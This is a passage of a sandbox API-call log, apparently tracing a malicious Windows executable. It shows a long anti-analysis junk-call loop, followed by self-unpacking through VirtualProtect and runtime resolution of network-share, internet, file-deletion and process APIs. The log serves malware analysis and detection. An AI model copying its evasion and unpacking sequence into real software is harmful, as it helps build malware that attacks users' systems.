0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.140] GetLastError () returned 0x3 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.140] GetLastError () returned 0x3 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.140] GetLastError () returned 0x3 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] AddAtomA (lpString=0x0) returned 0x0 [0042.140] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.140] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.140] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.141] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.141] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.141] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.141] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.141] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.141] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.141] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.141] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.141] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.141] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.141] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.141] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.141] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.141] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.141] GetLastError () returned 0x3 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] AddAtomA (lpString=0x0) returned 0x0 [0042.141] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.142] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.142] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.142] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.142] GetLastError () returned 0x3 [0042.142] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.143] GetLastError () returned 0x3 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.143] GetLastError () returned 0x3 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.143] GetLastError () returned 0x3 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.143] GetLastError () returned 0x3 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.143] GetLastError () returned 0x3 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.143] GetLastError () returned 0x3 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.143] GetLastError () returned 0x3 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] AddAtomA (lpString=0x0) returned 0x0 [0042.143] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.143] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.143] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.144] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.144] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.144] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.144] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.144] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.144] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.144] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.144] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.144] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.144] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.144] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.144] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.144] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.144] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.144] GetLastError () returned 0x3 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] AddAtomA (lpString=0x0) returned 0x0 [0042.144] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.145] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.145] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.145] GetLastError () returned 0x3 [0042.145] AddAtomA (lpString=0x0) returned 0x0 [0042.145] AddAtomA (lpString=0x0) returned 0x0 [0042.145] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.145] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.145] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.145] GetLastError () returned 0x3 [0042.145] AddAtomA (lpString=0x0) returned 0x0 [0042.145] AddAtomA (lpString=0x0) returned 0x0 [0042.145] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.145] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.145] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.145] GetLastError () returned 0x3 [0042.145] AddAtomA (lpString=0x0) returned 0x0 [0042.145] AddAtomA (lpString=0x0) returned 0x0 [0042.145] SetThreadDesktop (hDesktop=0x0) returned 0 [0042.145] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0042.145] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x26 [0042.235] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75a20000 [0042.236] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualAlloc") returned 0x75a31856 [0042.236] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualProtect") returned 0x75a3435f [0042.236] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualFree") returned 0x75a3186e [0042.236] GetProcAddress (hModule=0x75a20000, lpProcName="GetVersionExA") returned 0x75a33519 [0042.236] GetProcAddress (hModule=0x75a20000, lpProcName="TerminateProcess") returned 0x75a4d802 [0042.236] GetVersionExA (in: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65636f72, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x88w") | out: lpVersionInformation=0x18ed3c*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0042.236] VirtualAlloc (lpAddress=0x0, dwSize=0x4ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x4a0000 [0042.240] VirtualProtect (in: lpAddress=0x400000, dwSize=0x6a000, flNewProtect=0x40, lpflOldProtect=0x18fdc8 | out: lpflOldProtect=0x18fdc8*=0x2) returned 1 [0042.273] VirtualFree (lpAddress=0x4a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0042.275] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x772d0000 [0042.275] GetProcAddress (hModule=0x772d0000, lpProcName="RpcStringFreeW") returned 0x772f1635 [0042.275] GetProcAddress (hModule=0x772d0000, lpProcName="UuidToStringW") returned 0x77311ee5 [0042.275] GetProcAddress (hModule=0x772d0000, lpProcName="UuidToStringA") returned 0x7734d918 [0042.275] GetProcAddress (hModule=0x772d0000, lpProcName="RpcStringFreeA") returned 0x77313fc5 [0042.275] GetProcAddress (hModule=0x772d0000, lpProcName="UuidCreate") returned 0x772ef48b [0042.275] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75250000 [0042.278] GetProcAddress (hModule=0x75250000, lpProcName="WNetCloseEnum") returned 0x75252dd6 [0042.278] GetProcAddress (hModule=0x75250000, lpProcName="WNetOpenEnumW") returned 0x75252f06 [0042.278] GetProcAddress (hModule=0x75250000, lpProcName="WNetEnumResourceW") returned 0x75253058 [0042.278] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75be0000 [0042.287] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenA") returned 0x75c0f18e [0042.287] GetProcAddress (hModule=0x75be0000, lpProcName="InternetReadFile") returned 0x75bfb406 [0042.287] GetProcAddress (hModule=0x75be0000, lpProcName="HttpQueryInfoW") returned 0x75c05c75 [0042.288] GetProcAddress (hModule=0x75be0000, lpProcName="InternetCloseHandle") returned 0x75bfab49 [0042.288] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenW") returned 0x75c09197 [0042.288] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenUrlW") returned 0x75c5be5c [0042.288] GetProcAddress (hModule=0x75be0000, lpProcName="InternetOpenUrlA") returned 0x75c230f1 [0042.288] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x75210000 [0042.291] GetProcAddress (hModule=0x75210000, lpProcName="timeGetTime") returned 0x752126e0 [0042.291] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75ce0000 [0042.291] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFindExtensionW") returned 0x75cfa1b9 [0042.291] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFindFileNameW") returned 0x75cfbb71 [0042.291] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFileExistsA") returned 0x75d1ad1a [0042.291] GetProcAddress (hModule=0x75ce0000, lpProcName="PathAppendW") returned 0x75cf81ef [0042.291] GetProcAddress (hModule=0x75ce0000, lpProcName="PathRemoveFileSpecW") returned 0x75cf3248 [0042.291] GetProcAddress (hModule=0x75ce0000, lpProcName="PathAppendA") returned 0x75ced65e [0042.291] GetProcAddress (hModule=0x75ce0000, lpProcName="PathFileExistsW") returned 0x75cf45bf [0042.291] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75a20000 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="GetTimeFormatW") returned 0x75a4f481 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="GetDateFormatW") returned 0x75a534d7 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="EnumSystemLocalesW") returned 0x75ab425f [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="GetUserDefaultLCID") returned 0x75a33da5 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="IsValidLocale") returned 0x75a4ce46 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="GetLocaleInfoW") returned 0x75a33c42 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="GetCommandLineW") returned 0x75a35223 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileSize") returned 0x75a3196e [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="FindFirstFileW") returned 0x75a34435 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="SetFilePointer") returned 0x75a317d1 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="lstrlenA") returned 0x75a35a4b [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="SetErrorMode") returned 0x75a31b00 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="CreateProcessW") returned 0x75a3103d [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="CreateDirectoryW") returned 0x75a34259 [0042.292] GetProcAddress (hModule=0x75a20000, lpProcName="WaitForSingleObject") returned 0x75a31136 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="GetLogicalDrives") returned 0x75a35371 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualFree") returned 0x75a3186e [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="WriteFile") returned 0x75a31282 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="GetDriveTypeA") returned 0x75a4ef75 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="OpenProcess") returned 0x75a31986 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="GlobalAlloc") returned 0x75a3588e [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="GetSystemDirectoryW") returned 0x75a35063 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="WideCharToMultiByte") returned 0x75a3170d [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="LoadLibraryW") returned 0x75a3492b [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="Sleep") returned 0x75a310ff [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileW") returned 0x75a5830d [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="FormatMessageW") returned 0x75a34620 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcpynW") returned 0x75a5d556 [0042.293] GetProcAddress (hModule=0x75a20000, lpProcName="ReadFile") returned 0x75a33ed3 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="CreateFileW") returned 0x75a33f5c [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcatA") returned 0x75a52b7a [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcmpW") returned 0x75a35929 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="MultiByteToWideChar") returned 0x75a3192e [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="lstrlenW") returned 0x75a31700 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="GetLastError") returned 0x75a311c0 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="SetLastError") returned 0x75a311a9 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="GetProcAddress") returned 0x75a31222 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="VirtualAlloc") returned 0x75a31856 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="MoveFileW") returned 0x75a49af0 [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="LocalAlloc") returned 0x75a3168c [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="CreateEventW") returned 0x75a3183e [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcatW") returned 0x75a5828e [0042.294] GetProcAddress (hModule=0x75a20000, lpProcName="FindNextFileW") returned 0x75a354ee [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="CloseHandle") returned 0x75a31410 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="DeleteFileW") returned 0x75a389b3 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="LocalFree") returned 0x75a32d3c [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="CompareStringW") returned 0x75a33bca [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="SetPriorityClass") returned 0x75a4cf28 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcess") returned 0x75a31809 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="GetComputerNameW") returned 0x75a3dd0e [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="GetExitCodeProcess") returned 0x75a4174d [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="TerminateProcess") returned 0x75a4d802 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleFileNameW") returned 0x75a34950 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="GlobalFree") returned 0x75a35558 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="CreateMutexA") returned 0x75a34c6b [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="GetVersion") returned 0x75a34467 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcessId") returned 0x75a311f8 [0042.295] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThread") returned 0x75a334d5 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="CreateFileA") returned 0x75a353c6 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="CreateDirectoryA") returned 0x75a5d526 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcpyA") returned 0x75a52a9d [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="FatalAppExitA") returned 0x75ab4691 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSemaphoreW") returned 0x75a4ca5a [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleHandleW") returned 0x75a334b0 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="GetTickCount") returned 0x75a3110c [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="TlsFree") returned 0x75a33587 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="TlsSetValue") returned 0x75a314fb [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="TlsGetValue") returned 0x75a311e0 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="TlsAlloc") returned 0x75a349ad [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75a31916 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="SetUnhandledExceptionFilter") returned 0x75a387c9 [0042.296] GetProcAddress (hModule=0x75a20000, lpProcName="UnhandledExceptionFilter") returned 0x75a5772f [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="FreeEnvironmentStringsW") returned 0x75a351cb [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="GetEnvironmentStringsW") returned 0x75a351e3 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="GetSystemTimeAsFileTime") returned 0x75a33509 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="QueryPerformanceCounter") returned 0x75a31725 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="GetStartupInfoW") returned 0x75a34d40 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="DeleteCriticalSection") returned 0x778845f5 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileType") returned 0x75a33531 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="RaiseException") returned 0x75a358a6 [0042.297] GetProcAddress 